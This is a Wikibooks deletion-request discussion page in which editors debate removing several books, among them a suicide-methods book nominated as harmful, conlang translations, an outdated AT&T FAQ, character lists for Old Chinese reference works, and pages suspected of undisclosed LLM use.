(UTC) ::: Hi, @[[User:~2026-28847-60|~2026-28847-60]]. Your account was incorrectly locked by a steward. It is now currently unlocked. [[User:Codename Noreste|<span style="color:#0024FF">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 17:44, 15 May 2026 (UTC) :::: Pinging @[[User:Projection Architect|Projection Architect]], who was previously LeventBulut. [[User:Codename Noreste|<span style="color:#0024FF">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 15:51, 4 July 2026 (UTC) ::Please review [[Wikibooks:Artificial intelligence]]. It states unequivocally that {{tq|LLMs may not be used to generate or summarize material and ideas at Wikibooks}}, and that {{tq|translations made by LLMs are not allowed on Wikibooks}}. The fact that you did not disclose your usage of AI is part of the problem, but disclosing it does not make it allowable either. ::More broadly, based on what you've said above, the content of this book is a reflection of your personal theories on writing. This is essentially [[Wikibooks:Original research]] and is not permitted. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 22:36, 13 May 2026 (UTC) == [[Suicide]] == I realize this book has been nominated for deletion before ([[Wikibooks:Requests for deletion/Suicide|1]], [[Wikibooks:Requests for deletion/Suicide (2)|2]], [[Wikibooks:Requests for deletion/Suicide/Suffocation|3]]), but it's been over ten years since the last nomination. The project's position on what material is in its educational scope has shifted, as have some of the facts on the ground. * The chartered purpose of Wikibooks is to produce "open-content textbooks" (cf. [[Wikibooks:What is Wikibooks?]]) which are suitable for use in an instructional environment. Providing educational information about suicide in the context of psychiatry could certainly be in scope, as psychiatry is an educational topic; however, instructional material on how to commit suicide is not an educational topic, and should not be considered in scope. * This book is, and has always been, primarily intended as an instructional work guiding users on how to commit suicide. It provides effectively no meaningful analytical content ''about'' suicide as a topic. Most of the original content in the book was imported from an early-2000s wiki associated with the <code>alt.suicide.holiday</code> Usenet group, the "ASH wiki", which was specifically and unequivocally dedicated to describing and recommending methods by which readers could commit suicide, and this has carried through to the current version of the book. * Most of the content in the book was removed in 2020 (by redirecting it to the book's main page, e.g. [[Special:Diff/3660495]]) over concerns that it was created by a WMF-banned user ([[User:Leucosticte]]), and because it was likely in violation of the ASH wiki's (unclear) copyright. These changes removed most of the content of the book; much of what remains is image gallery pages like [[Suicide/Blades]] which have no educational value. Suicide is a sensitive topic; if it is covered by a textbook, it should be covered tastefully and with an aim to educate. This book is largely the opposite of that. Having it here is doing more harm than good. If this book is deleted, the following related pages should be deleted as well: * [[Template:Suicide methods]] * [[Template:Infobox suicide method]] (currently unused) * [[User:Leucosticte/About ASH]] - from the ASH wiki, as mentioned above * [[User:Leucosticte/Frequently Asked Questions]] - also from the ASH wiki [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 22:41, 21 July 2026 (UTC) : {{keep|weak keep}} a)&nbsp;Age is no argument. There are many stale underdeveloped books I would rather delete than keeping around. b)&nbsp;The book’s topic is exceptionally difficult to write about. ''This'' impedes collaborative authoring. c)&nbsp;The book does not really explain ''how'' to commit suicide (like a step‐by‐step guide), neither is it the book’s learning objective. d)&nbsp;Even if ''you construed'' the chapter summarizing various suicide methods ''as instructions'', instructional material on how to commit suicide ''is'' an educational topic. In most ''present‐day societies'' it is not ''ethical'' to teach students how to commit suicide, though. e)&nbsp;Therefore the correct path is to first alter the [[WB:WIW#Wikibooks includes instructional texts|project scope]] to censor books on ethical grounds ''and then'' nominate the book for censorship. ‑‑[[User:Kai Burghardt|Kai Burghardt]] ([[User talk:Kai Burghardt|discuss]] • [[Special:Contributions/Kai Burghardt|contribs]]) 04:50, 28 July 2026 (UTC) ::Re. c: most of the explicit directions were edited out in 2020, as noted in my nomination, but are still visible in page history. For a couple of explicit examples, see e.g. [[Special:Permalink/3318613]] or [[Special:Permalink/3654645]]. Providing specific instructions was the original intent of this book, and it has never escaped that legacy. If someone were interested in writing a book ''about'' the phenomenon of suicide, they would be better off starting afresh. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 05:26, 28 July 2026 (UTC) *'''Delete all'''. ―[[User:Koavf|Justin (<span style="color:grey">ko'''a'''<span style="color:black">v</span>f</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 16:17, 28 July 2026 (UTC) * '''Delete all''' per the nomination above. [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 02:17, 30 July 2026 (UTC) * '''Keep''' with caution. Rename to "suicide prevention"?--[[User:TunnelESON|TunnelESON]] ([[User talk:TunnelESON|discuss]] • [[Special:Contributions/TunnelESON|contribs]]) 04:03, 2 September 2026 (UTC) *:Re. the rename: absolutely not. There is no content in the book about suicide prevention. If you are interested in writing a book on that topic, please start a new one. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 18:48, 5 September 2026 (UTC) :{{keep}} - :1. "instructional material on how to commit suicide is not an educational topic" - I think it can be construed as one depending on the person (and does not have to imply that the person is at risk) :2. Not a reason. :3. Not a reason. It is up to the community to decide whether to accept a banned user's work. [[User:Leaderboard|Leaderboard]] ([[User talk:Leaderboard|discuss]] • [[Special:Contributions/Leaderboard|contribs]]) 13:37, 6 September 2026 (UTC) == [[Chess Opening Theory/1. g4/1...Na6]] == Nonsense position, one of the worst opening moves for White countered by a move hurting development for Black. [https://www.365chess.com/search_position.php Searching] on 365chess.com finds zero games with this position. See also a similar [[Wikibooks:Requests for deletion/Chess Opening Theory/1. e4/1...e5/2. Na3]]. [[User:1234qwer1234qwer4|𝟙𝟤𝟯𝟺𝐪𝑤𝒆𝓇𝟷𝟮𝟥𝟜𝓺𝔴𝕖𝖗𝟰]] ([[User talk:1234qwer1234qwer4|𝗍𝗮𝘭𝙠]]) 02:20, 13 September 2026 (UTC) :{{vd}} With some reservations, in that just being a bad move doesn't make it ''not'' a strategy. That said, the lack of actual game presence means it's unnecessary to keep around. [[User:EggRoll97|EggRoll97]] ([[User talk:EggRoll97|discuss]] • [[Special:Contributions/EggRoll97|contribs]]) 16:16, 14 September 2026 (UTC) == [[Art And AI]] == Suspected rampant LLM use; this also seems to violate [[WB:BLOG]] and [[WB:SOURCE]], since this seems largely like personal research/personal essays and opinions. —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 14:25, 17 September 2026 (UTC) jqcingoswcyaukbouinn7jdykg0cg32 4670762 4670676 2026-09-18T00:03:35Z Omphalographer 3427146 /* Art And AI */ Reply 4670762 wikitext text/x-wiki __NEWSECTIONLINK__ [[Category:Wikibooks deletion|{{PAGENAME}}]] {{Discussion Rooms}} {{TOCleft}} {{shortcut|WB:RFD}} {{Requests for deletion/New deletion}} {{Requests for deletion/Deletion intro}} <!-- New deletion nominations go at the bottom of page. --> == [[Salute, Jonathan!]] and its translations == <div style="column-count: 7;"> * [[Salute, Jonathan!|Interlingue/Occidental]] ([[w:en:Occidental|w]], original) * [[Òla, Ionatà!|Audià]] * [[Holo, Jonathan!|Cristianés]] * [[Terve, Jonathan!|Ekumenski]] * [[Hej, Jonathan! (Germanisch)|Germanisch]] * [[Salom, Jonatan!|Globasa]] * [[Àlŏ, Jonathan!|Guosa]] ([[w:en:Guosa|w]]) * [[Salut, Jonathan!|Idiom Neutral]] ([[w:en:Idiom Neutral|w]]) * [[Saluto, Jonathan! (Ido)|Ido]] ([[w:en:Ido|w]]) * [[Hallo, Jonathan!|Interlingua]] ([[w:en:Interlingua|w]]) * [[Salut, Jonathan! (Interocidental)|Interocidental]] * [[Bune Ğonatan!|Lingaust]] * [[Oila, Jonatan!|Lingue Simple]] * [[Haloo, Jonatan!|Lingwa de Planeta]] ([[w:en:Lingwa de Planeta|w]]) * [[Sin Chao, Jonathan!|Masa Tang]] * [[Salut, ionatano!|Meteza]] * [[Salu, Jon!|Mini]] * [[Hay, Jonathan!|Mirad]] * [[Hai, Jon!|Monav]] * [[Sesan Jon!|Monkel]] * [[Salam, Jonathan!|Mundeze]] * [[Dag, Jonathan!|Negerhollands]] ([[w:en:Negerhollands|w]]) * [[Salut Jonathan!|Neo]] ([[w:en:Neo|w]]) * [[Hej, Jonathan!|Nordien]] * [[Saluto, Jonathan!|Novial]] ([[w:en:Novial|w]]) * [[Salute, Jonathan! (Novlingue)|Novlingue]] * [[Alo, Jonathan!|Numo]] * [[Hela, Jonathan!|Proyo]] * [[Salute, Jonathan! (Romanica)|Romanica]] ([[w:en:Romanica|w]]) * [[Simi, Jonathan!|Solresol]] ([[w:en:Solresol|w]]) * [[Toki a, jan Jonatan!|Toki Pona]] ([[w:en:Toki Pona|w]]) * [[Glidis, o Jonathan!|Volapük]] ([[w:en:Volapük|w]]) </div> There are a couple of issues here: # Beyond their introductions, all of these books are written in languages which are not English, making them out of scope for the English Wikibooks. # All but one of these books are in fact written in constructed languages, most of them in recently created conlangs. In some cases (e.g. [[Sin Chao, Jonathan!]]), I can't find any reliable sources describing the target language outside of the translation itself. # Most of the translations (i.e. other than [[Salute, Jonathan!]] itself) were abandoned within the first five or so chapters (out of 100); none of them are complete, and there seems to be little effort to complete any of them. While I recognize that this is an unusual project, and potentially one which could have some value, it's not at all clear to me that the English Wikibooks is the right place for it. — [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 00:24, 29 September 2024 (UTC) : I'm really not sure what to do about these ones. While I recognize that this approach is certainly one method of teaching a language, I'm not sure that it constitutes an educational textbook. We do require that the English Wikibooks be written in English—for language-learning books, this typically means that the instructional parts are in English while the exercises are in the language being taught. I do think that if the language doesn't have much supporting evidence outside the book itself, it can safely be deleted. — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 01:01, 29 September 2024 (UTC) : Author of the book here. I originally wanted to put it in the Interlingue Wikibooks https://ie.wikibooks.org/wiki/Principal_p%C3%A1gine but it somehow got locked when I wasn't paying attention and so I ended up putting it here. Getting it unlocked requires going through the process of starting an Incubator and all the rest so I opted for here and then started putting some English-only content once it was done. It's sort of in the same vein as books like Lingua Latina per se Illustrata that have separate versions with teacher notes and whatnot. [[Salute, Jonathan!/Capitul 1 - with notes]] After it was done the auxlang community really took to it which was a nice surprise. I think Ido has the largest number of chapters at the moment at 15. :If the vast content of this book could be used to justify a quick reopening of the Interlingue Wikibooks to move it there, I'd love to do that. I imagine that an incubator with 100+ book chapters would be enough to open a Wikibooks and that's what this is. — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 06:02, 29 September 2024 (UTC) : Ah, I just realized that we do have a proposal to reopen the Interlingue Wikibooks: https://meta.wikimedia.org/wiki/Requests_for_new_languages/Wikibooks_Interlingue along with an Incubator page here. https://incubator.wikimedia.org/wiki/Wb/ie/Principal_p%C3%A1gine : How easy would it be to migrate the entirety of Salute Jonathan to there? — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 06:30, 29 September 2024 (UTC) :: Hi @[[User:Mithridates|Mithridates]]! I'm not sure how incubator projects work, but I fully support migrating these books there. You may want to inquire over there and link to this discussion to support your request to move the content over there. Cheers! — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 13:16, 29 September 2024 (UTC) ::: Hi! Actually I have a third idea to propose after thinking about this again today (haven't been here much since I finished the book): I noticed that there is more English content than I remember and that might make it an awkward fit for the Interlingue Wikibooks. I definitely agree that having all the auxlang translations for new auxlang projects goes well beyond the scope of this Wikibooks. Finally, there are some auxlangs that are notable with their own Wikipedias. ::: So the idea is the following: :::# Leave the original here and I can continue the work on the version with English notes and grammar. That will make it the same as Lingua Latina per se Illustrata, English by the Nature Method, Athenaze and all the rest. :::# The Interlingua one can move to the Interlingua Wikibooks (maybe Romanica too if they want as it is sort of a dialect of Interlingua). :::# For Ido and Lingua Franca Nova which have a Wikipedia but not a Wikibooks, I'm a little bit unsure...technically they could have their own version like the original one but would require English explanations. I could let them know and see if they are willing to do so and see what they think (work on adding English to the books vs. move the content elsewhere). :::# The rest can move to a Github repo, then be deleted, and the front page of this book can have a single link to the repo. ::: Any thoughts on that? Adding the extra English content will be easy as it is my book and I know it inside and out. ::: Edit: [https://en.wikibooks.org/wiki/Salute,_Jonathan!/Grammar_(pronouns) this page] I just added. — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 13:50, 29 September 2024 (UTC) :::: Thanks for taking the time to consider this! Here are my responses/questions: ::::* Is the original [[Salute, Jonathan!]] (Occidental)? Since that one is quite fleshed out, I agree that if you edit it so the primary language of the book (e.g. headers, instructions, etc) are written in English while leaving the actual story in Occidental, it would be okay and fit in more with instructional language textbooks. ::::* For your points 2 and 3, I'm not sure how those other projects work, so I'll leave it up to them. I'm not quite sure why they would need to move, since in theory they could be revised with English as the language of instruction? Although, they have been left incomplete for a long time. ::::* For your point 4, I have no problem with that. Cheers! — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 16:51, 29 September 2024 (UTC) ::::: Hello again, it's the weekend so I have a bit more time to work on this. I've decided to merge the extra content from the following five chapters since the difference is fairly small and the original chapters should now have this English content. Could you delete these five pages now that they are no longer needed? [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 14:02, 5 October 2024 (UTC) ::::: [[Salute, Jonathan!/Capitul 1 - with notes]] ::::: [[Salute, Jonathan!/Capitul 2 - with notes]] ::::: [[Salute, Jonathan!/Capitul 3 - with notes]] ::::: [[Salute, Jonathan!/Capitul 4 - with notes]] ::::: [[Salute, Jonathan!/Capitul 5 - with notes]] [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 14:02, 5 October 2024 (UTC) :::::: [[File:Yes_check.svg|{{#ifeq:|small|8|15}}px|link=|alt=]] {{#ifeq:|small|<small>|}}'''Done'''{{#ifeq:|small|</small>|}} — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 23:34, 5 October 2024 (UTC) ::::::: Hi again! No luck trying to find a home for the random language translations on other auxlang wikis, can't find one that is actively maintained. ::::::: The thought struck me that maybe I could just put those ones on a sub page of my user page, would that be permitted? If not, I think I'll just stick them somewhere in GitHub and call it a day since none of the people who started the translations seem to care enough to do anything about them. I'd rather not see them outright disappear but since they aren't mine I don't care enough about them to do much more work than copy and paste them somewhere. ::::::: (I would leave the ones in languages with an ISO-639 code and Wikipedia here, of course) — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 14:13, 9 November 2024 (UTC) :::::::: Thank you for checking! I don't personally see an issue with moving them to your user space right now. Cheers — [[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 17:21, 9 November 2024 (UTC) ::::::::: Thanks a lot! I've started a single page where I will put them all here [[User:Mithridates/SJ]] and will proceed slowly due to lack of time and also to avoid stepping on any toes / asking you to delete too much at a time and possibly deleting the wrong content. ::::::::: For this week I have put the content for the languages Audia, Cristianès, Guosa, Lingaust, Mini, Mirad, and Monav on that page as they all have a single page of content and didn't take much time to move. Please delete those. Once they are gone I will add a note on the main page letting people know where they have gone (in addition to a thank you for their interest in the book! I do love how many people have recognized it as a good source material for teaching a language). — [[User:Mithridates|Mithridates]] ([[User talk:Mithridates|discuss]] • [[Special:Contributions/Mithridates|contribs]]) 04:09, 10 November 2024 (UTC) : {{keep}} the translations for languages that have an article on the English Wikipedia, i.e. Guosa, Idiom Neutral, Ido, Interlingua, Lingwa de Planeta, Negerhollands, Neo, Novial, Occidental, Romanica, Solresol, Toki Pona, and Volapük. : Translations for languages that don't have an article can be kept if they have reliable sources, which I was able to find for the following languages (if you think they are not reliable, please let me know): :* Globasa: [https://www.languagesandnumbers.com/how-to-count-in-globasa/en/globasa/] [https://greyson.conlang.org/2020/01/29/shouting-out-globasa-and-pandunia/] :* Mini: [https://jprogr.github.io/mini] [https://www.omniglot.com/language/phrases/mini.htm] [https://www.languagesandnumbers.com/how-to-count-in-mini/en/mini/] : {{del}} and move to [[User:Mithridates/SJ]] the rest of the translations, i.e. Audià/Audian, Cristianés, Ekumenski, Germanisch, Interocidental, Lingaust, Lingue Simple, Masa Tang, Mirad, Monav, Monkel, Mundeze, Nordien, Novlingue, Numo, Proyo, and Scuian/Meteza. If you can find reliable sources for those languages, please let me know. : In particular, I could not find resources for Audià/Audian and Monav after searching through 15 and 17 pages on Google, respectively. It doesn't help that [[Òla, Ionatà!|their]] [[Hai, Jon!|translations]] don't explain what those languages are and where to find resources for them. This makes contributing to those translations almost impossible until @[[User:Caro de Segeda|Caro de Segeda]] can provide resources to us. It's possible that the resources may have disappared from the Internet, or that those languages were created by Caro de Segeda him/herself. If you can find resources for Audià/Audian and Monav, please let me know. : I'm notifying the primary contributors of the translations: @[[User:Caro de Segeda|Caro de Segeda]], @[[User:Frzzl|Frzzl]], @[[User:Greatscotteh|Greatscotteh]], @[[User:IHateNumbers234|IHateNumbers234]], @[[User:Jayeless2|Jayeless2]], @[[User:Morozof|Morozof]], @[[User:Omnihom|Omnihom]], @[[User:Omoutuazn|Omoutuazn]], @[[User:PovriNaivon|PovriNaivon]], @[[User:Sir Beluga|Sir Beluga]] and @[[User:Tyoyafud|Tyoyafud]]. — [[User:EJPPhilippines|EJPPhilippines]] ([[User talk:EJPPhilippines|discuss]] • [[Special:Contributions/EJPPhilippines|contribs]]) 09:52, 30 June 2025 (UTC) :: Caro de Segeda said on [https://www.reddit.com/r/conlangs/comments/1lcnz9g/comment/n0sc3wx/ Reddit] that Monav was created by him/her and that he/she didn't publish any resources about it other than [[Hai, Jon!]]. With '''zero''' other resources to rely on for contributing to the translation, and the fact that Monav is in [[User:Mithridates/SJ]], [[Hai, Jon!]] should be speedy deleted. — [[User:EJPPhilippines|EJPPhilippines]] ([[User talk:EJPPhilippines|discuss]] • [[Special:Contributions/EJPPhilippines|contribs]]) 01:38, 3 July 2025 (UTC) ::: I've undone the speedy deletion as Caro de Segeda posted a [https://prexins.wordpress.com/2025/07/04/monav/ resource] for Monav. — [[User:EJPPhilippines|EJPPhilippines]] ([[User talk:EJPPhilippines|discuss]] • [[Special:Contributions/EJPPhilippines|contribs]]) 07:18, 4 July 2025 (UTC) :::: You can delete all the ones that I have created myself, I have already moved them to other places. — [[User:Caro de Segeda|Caro de Segeda]] ([[User talk:Caro de Segeda|discuss]] • [[Special:Contributions/Caro de Segeda|contribs]]) 12:39, 5 July 2025 (UTC) {{outdent|::::}}I don't know if this is helpful since it wouldn't apply to most of these, but [[s:mul:]] could hold some of these. — [[User:Arlo Barnes|Arlo Barnes]] ([[User talk:Arlo Barnes|discuss]] • [[Special:Contributions/Arlo Barnes|contribs]]) 09:18, 30 November 2025 (UTC) : I don't think that would be within the scope of that project. I'm not aware of any other situation where Wikisource publishes translations of texts created on Wikimedia projects - that's usually left up to other language editions of the same project. — [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 05:34, 1 December 2025 (UTC) :: In this situation there isn't a separate [[s:ie:]] distinct from Multilingual Wikisource (see [[meta:Wikisource#List of Wikisources]]). In fact, there are very few multilingual wikis in the Wikimedia sphere; while this project ''could'' move to a Miraheze-hosted or similar wiki farm location, I think it would be a missed opportunity. I suppose an [[Interlingue]] book could be started in [[shelf:Constructed languages]] which would have all 100 chapters as an appendix (and likewise for the other languages), but that also seems non-ideal since it requires an English-language text that doesn't currently exist to be created. [[WB:AT]] seems to describe a similar situation to this one and prescribe Wikisource as the solution, and [[WB:SOURCE]] mentions fiction as out-of-scope for Wikibooks (even as in this case, language-educational fiction). [[s:mul:Wikisource:about Wikisource]] simply speaks of source texts and doesn't mention publication requirements, so maybe that is specific to some of the monolingual editions? — [[User:Arlo Barnes|Arlo Barnes]] ([[User talk:Arlo Barnes|discuss]] • [[Special:Contributions/Arlo Barnes|contribs]]) 22:28, 5 December 2025 (UTC) :{{keep}} 100% keep. These books are a core part of language textbooks on Wikibooks and have been for years. Not sure why this is even being debated.--[[User:Xania|Xania]] [[Image:Flag_of_Estonia.svg|15px]] [[Image:Flag_of_Ukraine.svg|15px]] [[User talk:Xania|^talk]] 17:55, 16 May 2026 (UTC) ::With all due respect, some of the books included in this nomination (like [[Sin Chao, Jonathan!]]) are written in constructed languages which are not substantially attested anywhere else. I struggle to imagine any educational purpose for such a book. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 00:12, 17 May 2026 (UTC) == [[International Baccalaureate]] == Not actually a book in and of itself; rather, it is just a compilation of links to other books —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 23:24, 18 October 2024 (UTC) : Could this be salvaged as a shelf? [[User:Pppery|Pppery]] ([[User talk:Pppery|discuss]] • [[Special:Contributions/Pppery|contribs]]) 05:23, 27 January 2025 (UTC) ::Probably, but are the linked books even useful? IB exams change from year to year - sometimes quite dramatically - so an old exam guide is of very limited value. Many of these books were written 10-15 years ago, and some of them (like [[IB French]]) even have comments indicating that they're no longer applicable. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 02:18, 8 December 2025 (UTC) == [[Character List for Baxter&Sagart]] == Seems completely out of scope as an educational book; it's just a list of characters and outlinks —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 23:53, 18 October 2024 (UTC) :Adding [[Character List for Karlgren's GSR]] and [[Character List for Schuessler's CGSR]] for the same reason —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 23:55, 18 October 2024 (UTC) :These three books do make a package and I agree they should be considered together. However, I strongly object to deleting them. They are really extremely useful resources. I use them every week and I know that many people who do work on Old Chinese phonology do so. There are lots of books out there that are lists of characters, these are called dictionaries. For example Axel Schuessler's ABC Etymological Dictionary of Old Chinese, or Pulleyblank's Lexicon of Reconstructed Pronunciation in Early Middle Chinese, Late Middle Chinese, and Early Mandarin. I see it as entirely a good thing for reference works of this kind to be available free online rather than only in expensive books in university research libraries. If this is in violation of a Wikibooks policy, I would at least like that policy to be drawn to my attention and to have some constructive comment offered about which Wikiproject such a resource should fall under. I will also say on a personal note that I have put literally hundreds of hours of work into these projects and it would grieve me a lot to see this work simply vanish, in particular when I know that colleagues around the world use these books. --[[User:Tibetologist|Tibetologist]] ([[User talk:Tibetologist|discuss]] • [[Special:Contributions/Tibetologist|contribs]]) 07:27, 1 November 2024 (UTC) ::Hi @[[User:Tibetologist|Tibetologist]], and thank you for the feedback! Official Wikibooks policy does not permit standalone dictionaries (see [[WB:DICT]]), though I understand the argument that it is a useful resource. I am wondering if there might be a home for it at [[Wiktionary:Wiktionary:Welcome, newcomers|Wiktionary]] or [[Wikiversity:Wikiversity:SHARE|Wikiversity]]? Cheers —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 12:14, 1 November 2024 (UTC) :::The policy says to use Wiktionary, but these books cannot be moved there. In fact they link there, you can understand me as having made an index to wiktionary, if you like, where the ORDER of the characters is extremely important, information that would be lost in Wiktionary. :::Wikiversity is not a project I participate in, and in any event my books here are older than it, so this option was not available for me at the relevant moment. If you are offering to move my books to Wikiversity, that is very kind of you and I will very graciously accept. [[User:Tibetologist|Tibetologist]] ([[User talk:Tibetologist|discuss]] • [[Special:Contributions/Tibetologist|contribs]]) 14:10, 1 November 2024 (UTC) ::::I have pinged over at Wikiversity Colloquium to ask about suitability and have looped you into the conversation over there. Cheers —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 18:20, 1 November 2024 (UTC) ::I concur. I'm just an undergrad who tries to learn about Sino-Tibetan historical linguistics in his free time but I've found this wikibook to be incredibly useful, and I keep it open in one tab while I watch Professor Nathan Hill's lectures that he uploads to youtube in another tab, and another tab for taking notes. In fact if I remember correctly Professor Hill actually pointed his students to this wikibook. ::I'm not familiar with [[wikiversity:Wikiversity:SHARE|Wikiversity]] but if all the content were as accessible there as it is here then I think that could work. [[User:ChromeBones|ChromeBones]] ([[User talk:ChromeBones|discuss]] • [[Special:Contributions/ChromeBones|contribs]]) 02:43, 9 July 2025 (UTC) :Per [[:v:Wikiversity:Colloquium#Import_Resource_From_Wikibooks?]], I recommend copying and pasting, including attribution via the edit summary and talk page, add appropriate categories and links, and then it could be deleted locally. —[[User:Koavf|Justin (<span style="color:grey">ko'''a'''vf</span>)]]<span style="color:red">❤[[User talk:Koavf|T]]☮[[Special:Contributions/Koavf|C]]☺[[Special:Emailuser/Koavf|M]]☯</span> 22:32, 3 November 2024 (UTC) == [[Suomen kieli käyttöön]] == Multiple pages in this book are written entirely in Finnish, which is out of the enWB scope. —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 00:09, 19 October 2024 (UTC) :I was going to say whether we should ask any fiwikibooks sysop to maybe see if this could be transwikied to fiwb if it's within the scope there. But [[:fi:Toiminnot:Käyttäjät/sysop]] indicates that there are only 3 sysops, and only {{u|Anr}} and {{u|Zache}} have made edits this ''year''. If they deem it to be salvageable, then transwiki + delete, otherwise straight-up delete. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 11:24, 14 November 2024 (UTC) ::It seems that the idea behind the book was for the pages to be bilingual, as it’s a language learning book. That’s why there are Finnish texts included intentionally even on the pages that are complete. There are similar books in dewikibooks and ruwikibooks as well. For the English version, I think the easiest way to proceed would be to clean up and adjust the page layout to fit enwikibooks better, and then translate the missing parts. By the way, if anyone wants to update the book’s name in English, it can be titled ''"Using the Finnish Language"'' or ''"Put Finnish Language into Use"'' for a direct translation. [[User:Zache|Zache]] ([[User talk:Zache|discuss]] • [[Special:Contributions/Zache|contribs]]) 11:57, 14 November 2024 (UTC) == [[AT&T Mobility FAQ]] == * [[AT&T Mobility FAQ]] * [[AT&T Mobility FAQ/MEdia Net Configuration]] * [[AT&T Mobility FAQ/Data Connect Configuration]] An ''extremely'' outdated FAQ on AT&T's cell phone services. Most of this document was written 20+ years ago as a Usenet FAQ; very little of it is accurate or useful anymore (particularly the two subpages, which have to do with obsolete configurations for "tethering" a computer to a cell phone). No objection if someone wants to update it, but there's clearly been no appetite to do that. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 22:20, 30 December 2024 (UTC) :I'm wondering if it might make sense for us to develop some kind of policy on archiving books here. There are many like this one that have a good deal of content but are extremely out of date and just not useful as originally intended. ——[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 22:34, 30 December 2024 (UTC) ::@[[User:Kittycataclysm|Kittycataclysm]]: See the newly developed [[Wikibooks:Outdated books]]. [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 00:16, 31 December 2024 (UTC) :::Ooh, thanks - something like that seems like it could be an appropriate way to handle this book. A lot of the other outdated books I've tagged have been so incomplete that they wouldn't have been particularly useful even as historical references; this one might at least have some interest. :::Any chance we can get a separate namespace (maybe "Archive:") set up for archived book content? That'd make it possible to do things like exclude them from on-site search by default. [[User:Omphalographer|Omphalographer]] ([[User talk:Omphalographer|discuss]] • [[Special:Contributions/Omphalographer|contribs]]) 21:07, 31 December 2024 (UTC) ::::I think this might be a more extended discussion, so I'll bump it over to the [[Wikibooks talk:Outdated books|talk page of the draft policy]]! —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 21:54, 31 December 2024 (UTC) == Algebra/Chapter 10/Symmetric Polynomials == I personally believe that [[Algebra/Chapter 10/Symmetric Polynomials|this]], and all of the sections should be deleted for the fact that this goes WAY beyond the scope of what was intended for the Chapter (Algebra II level polynomials). [[User:GoreyCat|GoreyCat]] ([[User talk:GoreyCat|discuss]] • [[Special:Contributions/GoreyCat|contribs]]) 15:07, 6 February 2025 (UTC) :'''Split''': Deletion here is not the best solution (see [[w:WP:ATD]]). Instead, this page and its subpages should be moved to another book, most likely [[Abstract Algebra]]. [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 17:35, 6 February 2025 (UTC) :{{keep}} since there is a good amount of content. 